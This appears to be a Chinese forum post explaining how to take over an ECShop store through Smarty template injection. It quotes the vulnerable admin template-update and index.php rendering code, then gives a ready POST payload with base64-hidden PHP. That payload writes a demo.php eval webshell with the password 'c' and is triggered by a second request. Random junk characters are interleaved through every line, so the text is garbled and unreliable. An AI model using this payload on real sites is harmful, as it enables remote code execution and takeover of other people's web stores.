首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 Q2 u( I/ a. D; a& J8 p7 X( j
' s7 @# P/ j+ ?而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
+ {) ]( w+ i( U6 T6 A% y9 J% m但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, u- S- _/ ` s Z: Yadmin/template.php3 c: @; A2 p* b" [" i
L2 `* |( [9 Y; c$ ^- {1 if ($_REQUEST['act'] == 'update_library')
4 l$ Y) V/ ~9 g# W, ~/ j h
' H: v8 s5 Z9 |2 $ r8 R# L* ~7 h0 O" X" }
" P a# g+ f% m5 Z7 Y' b5 U
3 {
8 W7 u* t( d( h0 j' @) @& b* z
& r$ x" S* f& r- C, S1 [' Z4 check_authz_json('library_manage'); 2 D0 h: ?2 c4 _" M* U, @; @# \
v% X# @# _6 N+ d5 0 ^/ h y/ R4 G. d+ @
$ {. z7 k2 t; r( C3 w2 q4 f6 $html = stripslashes(json_str_iconv($_POST['html']));
% I. O0 z5 K4 Q
, ]- `; Y# u( z0 P7 . u, U; ?9 c0 i9 u1 p- W
5 N8 `- F1 ?0 X0 |* p
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
" W( `3 a! T+ F9 n$ s( g0 ^1 P" v. C$ y
9 ! K2 k; Y" [! ?
* l3 m! O: e3 n10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 y- I. l* h8 l2 p- G
. F2 V4 Z3 Y, L" ^; a! L$ L5 M
11 $ ^3 x c/ V1 V) a
, E: R# @0 ]% Q- J& I4 K8 L7 n+ W- f
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); . _5 K z2 R! O! i
9 l) E2 }6 e6 f$ t$ r2 i# f
13 / }( h+ `! c2 C" r9 x h9 s! V
7 U, E$ D. d& A' m# ~" e14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
% ?* J1 W2 V* o% n) m" N4 `5 q1 m* n0 O0 X A1 a
15 { ' i7 I9 W5 ?* d {
% p) c% B c! d# q16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ! w; N6 }# A8 I6 s6 i7 [+ ]. y
* }4 t9 M6 u5 S! Z# t
17 make_json_result('', $_LANG['update_lib_success']); : M1 S/ s* i# W
' Z0 E1 P. F+ p) s18 } 7 }3 D/ A/ t3 @& ~: q( d
5 `; R% f$ y. i3 e
19 else % J' g" F( y/ F5 A, N. o
. c2 d0 n! `1 s1 W; o& F" I. |) ^
20 { ( B/ T7 r6 I" i# E: s( J
8 P6 U) z" {7 G; a: P
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ) w0 n: s" o, L+ s0 Y6 k
) `( r* J! X y% r7 e6 ?
22 } 0 l1 }6 O6 _+ u. S; B1 ~
) [8 |8 ?( \4 T$ e3 H23 } % W2 O. {7 L. [" ?8 R! H) T, C
2 J4 V6 f5 f6 _' N4 B
那么找个比较方便调用了模板的文件
6 Y5 F1 j1 }0 A+ F6 u$ \index.php6 ]& A5 R* a7 p; c* x4 Z* T
$ {0 ]; t+ K! c- ^( N9 P
1 if ($act == 'cat_rec')
6 K/ ^ [3 |5 ]4 j' f8 r/ t2 O. A
' ^4 u! r0 I0 J' p2
' u4 o0 Z4 L% ^3 M" s3 _7 g; e) |" ~8 [: q! ~: P8 Q1 s
3 { , J. E1 h! _4 a. ~4 w9 p; X% f
& ?# g: ]/ C q" o
4 2 Y7 f0 Z" v( Y. i+ ]5 o
1 N% z6 Q; @* }
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ {# Y# o- h) o! m; P% c$ |+ L' m6 i7 D# z5 T" a& G
6 & D9 Q/ W( }( z% c' `
7 _" d7 \0 V5 o( `7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
0 k* ^) S! P+ c: C) N ]
! ]9 ~4 o3 `9 O0 }) Y" r/ E2 d- T8
P! k7 q% \+ G# d9 Z: u& L$ b& K) a; L
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 C8 Y, Z) h. Y0 K- F6 c% C
( U7 b; R6 @: H+ H- q' k10 4 w0 E4 l% ?# A* F$ D; V" D+ y6 Q
, N% q x5 ` e7 `& ^11 include_once('includes/cls_json.php'); ! G* J6 b) R3 L/ }) |8 [5 F
. t& n# i% R+ y4 H$ _12 2 r# z+ u1 }+ F* x. ~8 }
0 w5 e: r: U3 x/ [9 i# k. p
13 $json = new JSON; 9 v# J* z8 x) I. A; J9 R' p, ~
: |6 J2 l6 p; @+ n! } m& l0 T
14 1 {: K" M+ h3 C: l1 p
1 o2 Z7 Q1 h& S4 A1 X, z9 J" N
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); $ s; j4 b7 U, Y
) h6 U7 F0 H/ N$ ~$ a16
3 A# O$ c5 E) `( t; v# h
! `; K5 ?3 f& n17 $children = get_children($cat_id); 8 J/ _+ p( O( F8 Z. z
! C# h% V0 `1 W. U$ ]
18 ! ] V7 J' [0 m7 _6 B1 Q) g5 R6 }
9 X% A1 \$ d! X7 O6 j19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 9 ~2 N5 T9 i" V7 i' Z
. b" ?! E3 ~ k
20
. _- n2 e, m$ D# Q3 b
& x; c$ ^. T6 r" U( v7 t21 $smarty->assign('cat_rec_sign', 1); ; b* `: A& _3 H/ X3 U
/ o& U) K) N, P$ R, ]22
& z. \& B1 ?6 E5 p& A# {% z, z
: I3 p/ M% {9 q9 s5 O/ w2 u23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best $ ?$ i( Y' Z) ]9 _
& Z5 w- g5 K5 u& n6 v5 _24
% M2 Z K9 u' A( z6 d; m+ C- @3 p2 W' _1 Z5 l2 o# X
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 K* Z) H: ^% X7 {8 W+ \
9 ~- Q+ q6 _! u. W
26 8 W% W# b/ ^' p. Y
" h4 @) O' s L* |27 echo $rec_array[$rec_type];
. e5 q1 ^% V0 ~: O& t- A( A& q" a
+ e( S0 h. E# W( }# O5 W28
, d5 q; g7 T- G* {' }" _
# p7 V' W3 G! x3 |$ I1 k29 die($json->encode($result)); ' O& k8 B. X8 c& G
; z/ j0 n# c+ o1 v" l+ w30 6 X5 }4 M% u N
% P7 d/ z! r7 A0 ^9 k
31 }
' E1 D6 Q5 W1 {$ o( f& S2 i' Z+ M/ w# Q1 n, Y6 @# K' e
那么就有利用方法了7 X( x/ ?3 I7 V$ @' b7 Q
post包到http://localhost/ec/admin/template.php?act=update_library; o! i5 P& _; D/ g
Post内容:. z1 x& k+ ]! y5 H$ S0 s# _6 J
, M8 y; S( N! h5 N
# ~8 ]; }1 r( R# w1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ( U& Z. u5 w; \9 H& q! k
9 B+ J! z" x" h" b然后访问http://localhost/ec/index.php?act=cat_rec
5 r& v& O4 S6 f9 } R( _6 j% e* T7 m( W( M# D
shel地址:http://localhost/ec/demo.php& U6 ?7 G8 v7 P' X2 g: U4 u+ K
密码c& s# ]3 w6 Z! A
3 r* ^! j% S- h' Z |